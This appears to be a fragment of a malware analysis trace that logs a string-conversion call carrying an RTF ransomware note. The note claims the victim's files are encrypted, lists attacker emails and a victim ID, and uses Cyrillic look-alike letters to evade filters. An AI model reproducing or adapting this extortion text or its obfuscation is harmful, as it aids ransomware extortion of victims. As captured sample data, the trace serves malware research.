BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1da3ea8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* 